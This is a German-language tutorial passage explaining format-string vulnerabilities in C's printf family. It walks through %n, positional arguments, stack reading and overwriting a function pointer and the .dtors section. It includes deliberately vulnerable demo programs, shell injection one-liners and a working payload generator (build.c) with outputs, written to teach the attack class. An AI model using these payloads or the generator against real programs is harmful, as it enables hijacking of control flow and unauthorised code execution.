![[Foto der Autoren]](../../common/images/FredCrisBCrisG.jpg) 
 
    Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr to en:Frédéric Raynal
en to de:Tjabo Kloppenburg
en to de:Guido Socher
Christophe Blaess ist ein unabhängiger Flugzeugingenieur. Er ist ein Linux-Fan, und erledigt den Großteil seiner Arbeit auf diesem System. Er koordiniert die Übersetzung der man-Pages des Linux Documentation Projects (LDP).
Christophe Grenier studiert im 5.Jahr am ESIEA, wo er auch als Sysadmin arbeitet. Er interessiert sich besonders für Computersicherheit.
Frédéric Raynal benutzt Linux seit vielen Jahren, weil es nicht verseucht ist mit Fetten, frei von künstlichen Hormonen und ohne BSE .... es enthält nur den Schweiß ehrlicher Leute und einige Tricks.
![[article illustration]](../../common/images/illustration183.gif) 
 
    Die meisten Sicherheitslücken entstehen durch Konfigurationsfehler oder Faulheit. Wie wir sehen werden, bestätigt sich diese Regel bei Format-Strings aufs Neue.
In einem Programm besteht häufig die Notwendigkeit, eine Zeichenkette (string) irgendwohin zu schreiben. Das "Wohin" ist dabei erstmal nicht so wichtig. Eine einfache Anweisung reicht dazu aus:
printf("%s", str);
    Ein (fauler) Programmierer könnte auf die Idee kommen, sechs Zeichen (und damit Zeit) zu sparen, und stattdessen zu schreiben:
printf(str);
    Derartig "Effizienz" anstrebend baut dieser Programmierer eine
    potentielle Sicherheitslücke in sein Programm ein. Er ist
    glücklich damit, einen einzelnen String als Argument
    übergeben zu können, der einfach unverändert
    angezeigt werden soll. Dieser String wird jedoch vor der Ausgabe
    geparst, wobei er auf Format-Direktiven wie %d,
    %g hin untersucht wird. Wird eine Direktive im String
    gefunden, dann wird das korrespondierende Argument vom Stack
    genommen.
Wir fangen mit einer Bescheibung der printf()
    Funktionen an. Eigentlich kennt sie jeder... jedoch nicht im
    Detail. Deshalb betrachten wir jetzt vor allem die weniger
    bekannten Aspekte, und sehen uns danach an, woher wir die
    nötigen Informationen bekommen, um die angedeutete
    Sicherheitslücke auszunutzen. Zum Schluss fassen wir das alles
    zu einem runden Beispiel zusammen.
printf() : davon haben wir doch nichts
    gewusst!Fangen wir mit dem an, was wir alle aus unseren Programmierhandbüchern wissen: die meisten C-Funktionen für Input/Output setzen eine Daten-Formatierung ein, was bedeutet, dass man nicht nur Daten zur Verfügung stellt, sondern zusätzlich festlegen muss, wie es zu tun ist. Das folgende Programm zeigt das:
/* display.c */
#include <stdio.h>
main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
    Übersetzen und Starten:
>>gcc display.c -o display >>./display int : 64 97 char : @ a
Das erste printf() schreibt die Werte des Integers
    a und der char-Variablen a als
    int (unter Verwendung von %d), wobei
    a in Form seines ASCII-Wertes angezeigt wird. Genauso,
    nur andersrum, wird beim zweiten printf() die
    Integervariable i in ein Zeichen umgewandelt (ASCII
    64).
Alles wie gehabt und gewohnt, und konform zu vielen Funktionen,
    die ein Prototyping wie printf() verwenden:
const char
      *format) wird als Format-Spezifikation verwendet;Die meisten Programmier-Anleitungen enden hier, wobei sie noch
    eine meist nicht sehr umfassende Liste möglicher Formatstrings
    angeben, wie %g, %h, %x, und
    vielleicht die Verwendung von ., um die Genauigkeit
    vorzugeben ("%5.2f"). Aber es gibt eine weitere
    Anweisung, über die nie gesprochen wird: %n. Hier
    die Info, die uns die Manpage zu printf() gibt:
| Die Anzahl bis jetzt geschriebener Zeichen wird im
          angegebenen int *-Zeiger gespeichert. Kein
          Argument wird umgewandelt. | 
Und hieraus folgt die Kernaussage dieses Artikels: Dieses Argument macht es möglich, einen Wert in eine
    Zeigervariable zu schreiben, selbst wenn %n in
    einer Ausgabe-Funktion verwendet wird!
Bevor wir weitermachen sei angemerkt, dass es diesen
    Formatierungs-Befehl auch bei den Funktionen der
    scanf() und syslog()-Familie gibt...
Wir betrachten nun die Verwendung und das Verhalten von
    %n anhand kleiner Programme. Das erste,
    printf1, zeigt eine sehr einfache Verwendung:
/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }
    Das erste Argument in printf() gibt den String
    "0123456789" aus, der 10 Zeichen enthält. Das
    nächste, %n, schreibt diesen Wert, 10, in die
    Variable n:
>>gcc printf1.c -o printf1 >>./printf1 0123456789 n = 10
Wir ändern nun das Programm ein wenig, indem wir Zeile 7 durch folgende neue Zeile ersetzen:
7:   printf("buf=%s%n\n", buf, &n);
    Starten wir das veränderte Programm, dann bestätigt
    sich unsere Vorstellung: Die Variable n ist jetzt 14
    (10 Zeichen des Strings in buf, plus die vier Zeichen
    "buf=" vorne im Formatstring).
Wir wissen jetzt, dass %n alle Zeichen zählt,
    die im Formatstring auftauchen. Wie wir gleich im
    printf2-Programm sehen werden, zählt es sogar
    noch weitere:
/* printf2.c */
#include <stdio.h>
main() {
  char buf[10];
  int n, x = 0;
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
    Wir benutzen die snprintf()-Funktion, um einen
    Buffer-Overflow zu vermeiden. Die Variable n sollte
    jetzt den Wert 10 haben:
>>gcc printf2.c -o printf2 >>./printf2 l = 9 n = 100
Seltsam!? Das %n berechnet offensichtlich die
    Anzahl der Zeichen, die (eigentlich) geschrieben werden sollten. Das Beispiel zeigt, dass das
    Abschneiden eines Strings aufgrund einer
    Größenfestlegung unbeachtet bleibt.
Was wirklich geschieht? Der Format-String wird voll gefüllt, bevor er beschnitten und in den Zielpuffer kopiert wird:
/* printf3.c */
#include <stdio.h>
main() {
  char buf[5];
  int n, x = 1234;
  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
    Die Unterschiede zwischen printf3 und
    printf2 sind:
buf wird am Ende
      ausgegeben.>>gcc printf3.c -o printf3 >>./printf3 l = 4 n = 5 buf = [0123] (5)
Die ersten beiden Zeilen überraschen nicht weiter. Die
    letzte Zeile offenbart das Verhalten der
    printf()-Funktion:
00000\0" ensteht;x in den String kopiert, der
      nun so aussieht: "01234\0";sizeof buf - 1 Bytes2 dieses Strings in den Zielstring
      buf kopiert: "0123\0"Das ist jetzt nicht völlig exakt, entspricht jedoch im
    Großen und Ganzen dem Prozess. Wer sich für die
    genaueren Einzelheiten interessiert, sollte die Sourcen
    der GlibC studieren, und darin speziell die von
    vfprintf() im ${GLIBC_HOME}/stdio-common
    - Verzeichnis.
Bevor wir zum Ende dieses Kapitels kommen, sei noch darauf
    hingewiesen, dass das gleiche Ergebnis auf eine leicht abgewandelte
    Art hätte erzielt werden können. In unserem Beispiel
    hatten wir die Formatanweisung für die Anzahl der
    Stellen eingesetzt (den Punkt '.'). Es gibt jedoch noch eine
    weitere Anweisung, die den gleichen Effekt erzeugt:
    0n, wobei n die Breite ist, und
    die 0 dafür sorgt, dass Leerzeichen im String
    durch "0" ersetzt werden sollen, wenn nicht die gesamte
    Stringbreite ausgenutzt wird.
Nachdem wir nun beinahe alles über Formatanweisungen
    wissen, und vor allem auch über "%n", werden wir
    das Verhalten der Anweisungen näher unter die Lupe nehmen.
printf()Das nächste Programm wird uns durch dieses Kapitel
    begleiten, um uns die Zusammenhänge zwischen
    printf() und dem Stack zu zeigen:
/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
    Dieses Programm kopiert lediglich ein Argument in den
    buffer. Wir achten darauf, dass kein Overflow
    stattfindet, also keine wichtigen Daten überschrieben werden
    .
>>gcc stack.c -o stack >>./stack toto buffer : [toto] (4) i = 1 (bffff674)
Das Programm funktioniert wie erwartet :). Um die weiteren
    Schritte zu verstehen, betrachten wir nun zuerst, was aus Sicht des
    Stacks passiert, wenn in Zeile 8 snprintf() aufgerufen
    wird.
| Abb. 1 : Der Stack zu Beginn des
          Aufrufs von snprintf() | 
|   | 
Abbildung 1 beschreibt den Zustand des
    Stacks in dem Moment, in dem das Programm in die
    snprintf()-Funktion eintritt (wir werden sehen, dass
    es nicht ganz korrekt ist - aber es vermittelt uns eine Idee davon,
    was passiert). Die Variablen i, buffer
    und tmp liegen in der Reihenfolge auf dem Stack, in
    der sie im Programm auftreten. Mit dem Eintreten in die
    snprintf()-Funktion landen danach die
    Funktions-Parameter auf dem Stack:
argv[1];Der argv[1]-String wird gleichzeitig als
    Formatstring und als Datenquelle benutzt. Entsprechend der
    normalen Reihenfolge der Parameter der
    snprintf()-Funktion steht argv[1] also
    dort, wo normalerweise der Formatstring steht. Da auch
    Formatstrings ohne Formatanweisungen gültig sind (nur Text),
    ist alles in Ordnung :)
Aber was passiert, wenn in argv[1]
    Formatanweisungen stehen? Die snprintf()-Funktion
    interpretiert sie ganz normal - und es gibt keinen Grund, warum sie
    das nicht tun sollte. Nur könnte man sich hier fragen, welche
    Argumente als zu formatierende Daten genommen werden... Nun:
    snprintf() nimmt sich die Daten einfach vom Stack!
    Schauen wir uns das mit unserem stack-Programm an:
>>./stack "123 %x" buffer : [123 30201] (9) i = 1 (bffff674)
Zuerst wird der "123 "-String in den
    buffer kopiert. Das %x fordert
    snprintf() auf, den ersten übergebenen Wert in
    die hexadezimale Schreibweise umzuwandeln. Gemäß
    Abbildung 1 ist dieser erste Wert nichts
    anderes als die tmp-Variable, die den String
    "\x01\x02\x03\x00" enthält. Diese Bytes werden
    also als Hexzahl "0x00030201" in den Buffer geschrieben. Die
    umgedrehte Reihenfolge ergibt sich aus der Tatsache, dass die
    x86-Prozessoren die Daten als Little Endian speichern.
>>./stack "123 %x %x" buffer : [123 30201 20333231] (18) i = 1 (bffff674)
Mit einem weiteren %x können wir weiter in den
    Stack hineingehen. snprintf() wird damit angewiesen,
    die nächsten vier Bytes hinter der tmp-Variablen
    auszulesen. Diese vier Bytes sind die ersten vier Bytes von
    buffer ("123 "), die als 0x20333231 (0x20=space,
    0x33='3'...) im Speicher liegen. Also, für jedes
    %x liest snprintf() weitere vier Bytes
    vom Stack in den buffer (vier, weil ein unsigned
    int in einem x86-System vier Bytes belegt).
Die buffer-Variable spielt also eine doppelte
    Rolle:
Wir können solange weiter im Stack graben, wie
    buffer die erzeugten Zeichenketten aufnehmen kann:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 
         0x33303378 0x333837] (63)
i = 1 (bffff654)
    buffer enthält, ermitteln. Die Adresse wurde vor
    den Parametern der Funktion auf den Stack gelegt, und liegt deshalb
    jenseits von tmp, buffer und
    i. Dabei besteht jedoch das Problem, dass der Platz in
    buffer begrenzt ist. Wir bräuchten eine
    Fortmatanweisung, um gezielt Stackinhalte jenseits von
    buffer auszulesen... 
    Die Lösung finden wir in der Formatanweisung
    m$, die dazu dient, die Ausgabe-Reihenfolge von
    Variablen über den Formatstring zu steuern. Dabei ist
    m ein Integer >0, der die Position der zu
    benutzenden Variablen in der Liste der Argumente angibt (beginnend
    mit 1). Mit dieser Anweisung kommen wir weiter:
/* explore.c */
#include <stdio.h>
  int
main(int argc, char **argv) {
  char buf[12];
  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);
  printf("[%s] (%d)\n", buf, strlen(buf));
}
    Die Formatanweisung %m$x gibt uns also die
    Möglichkeit, abwärts zu einer beliebigen Stelle im Stack zu gehen. Höhere
    m's bedeuten tiefere Stellen im Stack, da Parameter
    mit höheren Positionen zuerst auf den Stack gelegt werden:
>>./explore %1\$x [0] (1) >>./explore %2\$x [0] (1) >>./explore %3\$x [0] (1) >>./explore %4\$x [bffff698] (8) >>./explore %5\$x [1429cb] (6) >>./explore %6\$x [2] (1) >>./explore %7\$x [bffff6c4] (8)
Das \ ist hier notwendig, um das $ vor
    der Shell zu schützen. Mit den ersten drei Aufrufen lesen wir
    den Inhalt von buf aus, das in diesem Programm nur
    noch 12 Bytes lang ist. Mit %4\$x lesen wir den Inhalt
    des gespeicherten %ebp-Registers, und mit
    %5\$x den Inhalt des gesicherten
    %eip-Registers (also der Rücksprungadresse). Die
    letzten beiden Aufrufe zeigen den Inhalt der
    argc-Variablen und der Adresse in
    *argv.
Dieses Beispiel zeigt uns, dass man mit den zur Verfügung
    stehenden Format-Anweisungen den Stack auf der Suche nach
    interessanten Informationen durchsuchen kann, wie dem
    Rückgabewert einer Funktion, einer Adresse, usw...
     Wir haben aber auch gesehen, dass wir mit Funktionen der
    printf()-Familie Inhalte von Variablen verändern
    können. Na, klingt das nicht wie ein wunderschönes
    potentielles Sicherheitsloch?
Betrachten wir noch einmal das stack-Programm:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"' buffer : [döÿ¿00000000000000000000000000000000000000000000 000000000000000] (63) i = 500 (bffff664)Der Parameter-String für
stack besteht aus: 
    i,%.496x),%n), die an die
      angegebene Adresse schreiben wird.i (hier 0xbffff664) zu
    ermitteln, können wie das Programm zweimal starten, und beim
    zweiten Mal die Kommandozeile entsprechend anpassen. Wie du beim
    Aufruf sehen kannst, hat i einen neuen Wert!
    :).snprintf() folgender Aufruf: 
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         die 4 ersten Bytes in buffer);
    Die ersten vier Bytes (mit der Adresse von i)
    werden an den Anfang von buffer geschrieben. Die
    folgende Anweisung %.496x liest tmp vom
    Stack und schreibt damit weitere 60 Zeichen in den buffer (sizeof
    buffer = 64, 4 Bytes schon geschrieben).
     Wenn der Format-Interpreter bei "%n" ankommt, schreibt er die Zahl
    bereits geschriebener Zeichen (496 eigentlich geschriebener
    Zeichen plus der vier Bytes der Adresse von i) in die
    als nächstes auf dem Stack folgende Adresse. Da kein Zeiger
    auf einen String als Parameter an snprintf()
    übergeben wurde, werden dafür die nächsten 4 Bytes
    vom Stack genommen: die ersten 4 Bytes von buffer -
    mit der Adresse von i!
     Die Zahl 496 ist dabei relativ beliebig - es ist der Wert, der
    nach i geschrieben werden soll, minus 4.
Wir können das Ganze noch weiter treiben. Um i
    ändern zu können, brauchen wir ja seine Adresse, die
    nicht unbedingt bekannt ist... manchmal jedoch liefert uns ein
    Programm selbst die richtige Adresse:
/* swap.c */
#include <stdio.h>
main(int argc, char **argv) {
  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;
  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}
    Bei diesem Programm können wir den Stack (beinahe) beliebig kontrollieren:
>>./swap AAAA AAAA cpt1 = 0 cpt2 = 0 >>./swap AAAA%1\$n AAAA cpt1 = 0 cpt2 = 4 >>./swap AAAA%2\$n AAAA cpt1 = 4 cpt2 = 0
"swap AAAA%1\$n" bedeutet bei diesem Programm in
    Worten: "Gib AAAA aus, und schreibe dann die Anzahl geschriebener
    Zeichen an die Adresse, die an der Stelle 1 auf dem Stack liegt.".
    Wir können hier also abhängig vom Parameter gezielt den
    Wert von cpt1 oder cpt2 ändern.
     Da %n eine Adresse benötigt, können wir
    nicht direkt in die Variablen schreiben [also %3$n
    (cpt2) oder %4$n (cpt1)], sondern müssen
    die Zeiger benutzen. Letztere sind in C üblich - und bieten
    wirklich vielfältige Manipulations-Möglichkeiten.
egcs-2.91.66 und glibc-2.1.3-22
    kompiliert wurde. Möglicherweise erhältst du auf deinem
    System nicht die gleichen Resulate, weil die Funktionen in der Art
    von *printf() von der glibc
    abhängen, und nicht von allen Compilern gleich compiliert
    werden. 
    Das Programm stuff zeigt diese Unterschiede
    auf:
/* stuff.c */
#include <stdio.h>
main(int argc, char **argv) {
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";
  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }
  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}
    Die Arrays aaa und bbb dienen uns auf
    unserer Reise durch den Stack als Trennmarke. Wenn wir auf
    424242 treffen wissen wir also, dass die nächsten
    Bytes zum buffer gehören.
     Tabelle 1 zeigt die Unterschiede
    abhängig von der Version der glibc und der Compiler.
|  |  |  | 
| gcc-2.95.3 | 2.1.3-16 | buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63) | 
| egcs-2.91.66 | 2.1.3-22 | buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63) | 
| gcc-2.96 | 2.1.92-14 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) | 
| gcc-2.96 | 2.2-12 | buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63) | 
Wir werden im Artikel weiterhin egcs-2.91.66 und
    die glibc-2.1.3-22 einsetzen - wenn du auf deinem
    System Unterschiede feststellst, sollte dich das jetzt nicht mehr
    überraschen.
Beim Exploiten von buffer overflows hatten wir einen buffer benutzt, um die Rücksprungadresse einer Funktion zu überschreiben.
Wie wir gesehen haben, können wir mit Formtstrings an eine
    beliebige Stelle gehen (stack, heap, bss,
    .dtors, ...) - wir müssen nur sagen, wohin wir
    was mit Hilfe von %n schreiben wollen.
/* vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int helloWorld();
int accessForbidden();
int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();
  memset(buffer, 0, sizeof(buffer));
  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);
  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);
  return ptrf();
}
int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  exit(vuln(argv[1]));
}
int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}
int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}
    Wir definieren eine Variable mit dem Namen ptrf,
    die ein Zeiger auf eine Funktion ist. Wir werden den Wert dieses
    Zeigers so verändern, dass eine Funktion unserer Wahl
    gestartet wird.
Zuerst müssen wir den Offset zwischen dem Anfang des verwundbaren Buffers und unserer aktuellen Position auf dem Stack ermitteln:
>>./vuln "AAAA %x %x %x %x" helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37) after : ptrf() = 0x8048634 (0xbffff5d4) Welcome in "helloWorld" >>./vuln AAAA%3\$x helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5e4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048634 (0xbffff5e4) Welcome in "helloWorld"
Der erste Aufruf gibt uns das, was wir brauchen: 3 Worte (1 Wort
    = 4 Bytes bei x86 CPU) trennen uns vom Anfang der
    buffer-Variablen. Der zweite Aufruf mit
    "AAAA%3\$x" bestätigt das.
Unser Ziel besteht nun darin, den ursprünglichen Wert des
    Zeigers ptrf (0x8048634, der Adresse der
    Funktion helloWorld()) durch den Wert
    0x8048654 (Addresse von
    accessForbidden()) zu ersetzen.
     Dazu müssen wir 0x8048654 Bytes schreiben
    (dezimal 134514260, also ca. 128MB). Nicht alle Rechner
    verfügen über den notwendigen Speicher - aber unserer
    tuts :-). Auf einem Dual-Pentium mit 350MHz dauert es etwa 20
    Sekunden:
>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n ` helloWorld() = 0x8048634 accessForbidden() = 0x8048654 before : ptrf() = 0x8048634 (0xbffff5d4) buffer = [Ôõÿ¿00000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048654 (0xbffff5d4) You shouldn't be here "accesForbidden"
Was haben wir gemacht? Wir haben nur die Adresse von ptrf
    (0xbffff5d4) übergeben. Die folgende Formatanweisung
    (%.134514256x) liest das erste Wort vom Stack, mit
    einer "Genauigkeit" von 134514256. Wir haben schon die 4 Bytes der
    Adresse von ptrf geschrieben, müssen also noch
    134514260-4=134514256 Bytes schreiben. Zum Schluss
    schreiben wir den gewünschten Wert an die angegebene Adresse
    (%3$n).
Wie bereits angedeutet stehen nicht immer 128MB für den
    buffer zur Verfügung. Die Formatanweisung %n
    erwartet einen Zeiger auf einen Integer, also vier Bytes. Man kann
    es jedoch so modifizieren, dass es einen Zeiger auf einen
    short int erwartet - das sind dann nur 2 Bytes - in
    dem man %hn schreibt. Das heißt, wir können
    das Schreiben des Integers in zwei Zahlen aufspalten. Die
    größte zu schreibende Zahl ist dabei 0xffff
    (65535). Bezogen auf das vorhergehende Beispiel wandeln wir also
    die Operation "schreibe 0x8048654 an die Adresse
    0xbffff5d4" um in zwei aufeinanderfolgende, kleinere
    Operationen:
0x8654 nach
      0xbffff5d40x0804 nach
      0xbffff5d4+2=0xbffff5d6%n (oder %hn) berechnen die Zahl der
    bereits in den String geschriebenen Zeichen. Diese Zahl kann sich
    dadurch nur erhöhen, wir müssen also zuerst den kleineren
    Wert schreiben. Die zweite Anweisung bekommt dann als "Genauigkeit"
    die Differenz zwischen dem gebrauchten Wert und dem ersten Wert. In
    unserem Beispiel ist die erste Anweisung %.2052x (2052
    = 0x0804), und die zweite %.32336x (32336 = 0x8654 -
    0x0804). Jedes folgende %hn wird die richtige Anzahl
    Bytes aufnehmen.
Wir müssen nur angeben wohin beide %hn
    geschrieben werden sollen. Der m$ Operator wird uns
    dabei helfen. Wenn wir die Adresse am Anfang des verletzbaren
    Buffers speichern, dann müssen wir nur duch den Stack gehen
    und den Offset zum Anfang des Stacks finden mit Hilfe des
    m$ Formates. Beide Adressen werden dann bei einem
    Offset von m und m+1 sein. Da wir die
    ersten 8 Bytes im Buffer für die zu überschreibende
    Adresse benutzen, muß der erste Wert um 8 erniedrigt
    werden.
So sieht unser Format-String aus:
"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
      val. min.]x%[offset+1]$hn"
    Das folgende build-Programm erzeugt einen
    Format-String abhängig von den drei Argumenten:
/* build.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/**
The 4 bytes where we have to write are placed that way : HH HH LL LL
The variables ending with "*h" refer to the high part of the word (H)
The variables ending with "*l" refer to the low part of the word (L)
 */
char* build(unsigned int addr, 
            unsigned int value, unsigned int where) {
/* too lazy to evaluate the true length ... */
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;
  char *buf;
  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom
  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);
  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);
  /* let's build */
  if (valh < vall) {
    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */
         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */
         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */         
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */
         valh-8,              /* set the value for the first %hn */  
         where,               /* the %hn for the high part */        
                                                         
         vall-valh,           /* set the value for the second %hn */ 
         where+1              /* the %hn for the low part */
         );
         
  } else {
     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */
         "%%.%hdx"            /* set the value for the first %hn */    
         "%%%d$hn"            /* the %hn for the high part */          
                                                           
         "%%.%hdx"            /* set the value for the second %hn */   
         "%%%d$hn"            /* the %hn for the low part */           
         ,                                                     
         b3+2, b2, b1, b0,    /* high address */                       
         b3, b2, b1, b0,      /* low address */                        
                                                           
         vall-8,              /* set the value for the first %hn */    
         where+1,             /* the %hn for the high part */          
         valh-vall,           /* set the value for the second %hn */   
         where                /* the %hn for the low part */
         );
  }
  return buf;
}
int
main(int argc, char **argv) {
  char *buf;
  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}
    Abhängig davon, ob der erste geschriebene Wert der High- oder Low-Teil des WORD ist, ändert sich die Position der Argumente. Schauen wir mal, welche Lösung (ohne RAM-Probleme :-) ) das Programm ausspuckt.
Unser kleines Beispielprogramm von vorhin erlaubt es uns, den Offset zu ermitteln:
>>./vuln AAAA%3\$x argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5d4) buffer = [AAAA41414141] (12) after : ptrf() = 0x8048644 (0xbffff5d4) Welcome in "helloWorld"
Es ist immer: 3. Da unser Programm konstruiert wurde, um zu
    erklären, was passiert, verfügen wir bereits über
    die weiteren Informationen, die wir brauchen: die Adressen von
    ptrf und accesForbidden(). Wir legen
    unseren Buffer entsprechend an:
>>./vuln `./build 0xbffff5d4 0x8048664 3` adr : -1073744428 (bffff5d4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000] (127) after : ptrf() = 0x8048644 (0xbffff5b4) Welcome in "helloWorld"Es passiert nichts! Nun, da wir einen längeren buffer verwendet haben als im vorherigen Beispiel, hat sich der Stack verschoben(
ptrf ist von 0xbffff5d4 nach
    0xbffff5b4 gewandert). Unsere Werte müssen
    entsprechend angepasst werden: 
>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Gewonnen!!!
Wie gesehen können wir mit den Format-Strings überall hin
    schreiben. Wir betrachten nun ein Beispiel für einen Exploit,
    der die .dtors-Section nutzt.
Wenn ein Programm mit gcc kompiliert wird, findet
    man nachher im Programm sowohl einen Konstruktor
    (.ctors-Section) als auch einen Destruktor
    (.dtors-Section). Diese Sections enthalten Zeiger auf
    Unterprogramme, die vor bzw. nach dem main-Programm ausgeführt
    werden:
/* cdtors */
void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));
int main() {
  printf("in main()\n");
}
void start(void) {
  printf("in start()\n");
}
void end(void) {
  printf("in end()\n");
}
    Unser kleines Programm zeigt den Mechanismus: 
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Diese Sections haben beiden denselben Aufbau:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 Contents of section .ctors: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 Contents of section .dtors: 80494a8 ffffffff f0830408 00000000 ............Wir sehen, dass jeweils das dritte WORD (in little endian) die Adresse unseres Unterprogramms (start und end) ist:
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDie Sections beinhalten also die Adressen, eingerahmt in
0xffffffff und 0x00000000. 
    Nun wenden wir das auf unser vuln-Programm an,
    wobei wir einen Format-String einsetzen. Zuerst benötigen wir
    die Adressen, unter denen die Sections im Speicher stehen. Das ist
    wirklich leicht, da wir das Binary haben ;-). Wir setzen einfach
    wie eben objdump ein:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 8049844 ffffffff 00000000 ........Da isses! Wir haben alles was wir brauchen.
Das Ziel des Exploits besteht darin, die Adresse eines
    Unterprogramms in einer der Sections durch die des Unterprogramms
    zu ersetzen, das wir starten wollen. Wenn die Sections leer sind,
    überschreiben wir einfach die Endemarke der Sections
